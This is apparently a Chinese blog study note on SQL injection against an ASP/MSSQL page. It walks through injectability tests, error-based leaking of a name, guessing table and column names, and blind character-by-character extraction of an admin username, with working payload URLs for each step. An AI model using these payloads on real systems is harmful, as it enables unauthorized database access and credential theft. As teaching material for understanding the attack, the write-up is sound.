美文网首页
SQL查询学习记录

SQL查询学习记录

作者: 胖佳儿Clara | 来源:发表于2018-09-16 19:19 被阅读0次

判断能否进行SQL注入 :

http://www.mytest.com/showdetail.asp?id=49
http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
可以注入
① ② 正常,③ 报错
不可以注入
① 正常,② ③ 报错

数据库名称

http://www.mytest.com/showdetail.asp?id=49 ;and user>0
char和int比较报错为:
将char值 ”abc” 转换数据类型为 int 的列时发生语法错误。
这样就可以通过报错获得数据库名“abc”啦~

猜表名

ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名Admin

猜字段

将Count(*)替换成Count(字段名),用同样的原理猜解字段名
字段名username

猜字段的值(Ascii逐字解码法)

1.测试长度
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
其中top语句用来返回要规定记录的数目。
如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

2 测试每个字符值
id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

相关文章

  • SQL查询学习记录

    判断能否进行SQL注入 : ① http://www.mytest.com/showdetail.asp?id=4...

  • Laravel 简单查询

    记录使用laravel查询sql的记录 查询某字段中包含以逗号分隔的字符串的数据 原生sql laravel

  • hibernate中的查询

    HQL 查询所有 条件查询 分页查询 Criteria 查询所有 条件查询 分页查询 查询总记录 原生SQL

  • sqlzoo练习答案

    这是关于在一个SQL学习网站的练习题答案记录:SQL教程 SQL基础 由一些简单的查询开始 这里的默认表格为WOR...

  • SQL学习十二、插入数据

    前面学习记录的都是查询数据,那些也是SQL中最常用的语句,这篇我们来学习和积累一下相数据库中插入数据的SQL。 另...

  • SQL语言之查询

    SQL语言之查询(二) 前言 本章我们将学习SQL查询中的高级部分,如内连接、外连接和子查询,通过这些查询技术我们...

  • laravel 打印数据库执行语句

    开启日志 查询执行后的语句 单条查看执行SQL记录 监听所有执行的SQL语句

  • oracle AWR报告

    步骤一:查询出sql的记录 注:时间为输入值,看需要输入 步骤二: 方法一sql: 方法二sql: 例子:

  • EF Core 备忘

    模糊查询sql linq 内连接查询sql linq 左连接查询sql linq 左连接查询(连接内带条件)sql...

  • 记录sql查询语句

    记录:简单查询语句: 有个学生表stu (name,xueke,chengji) 1、SELECT * FROM ...

网友评论

      本文标题:SQL查询学习记录

      本文链接:https://www.haomeiwen.com/subject/amefnftx.html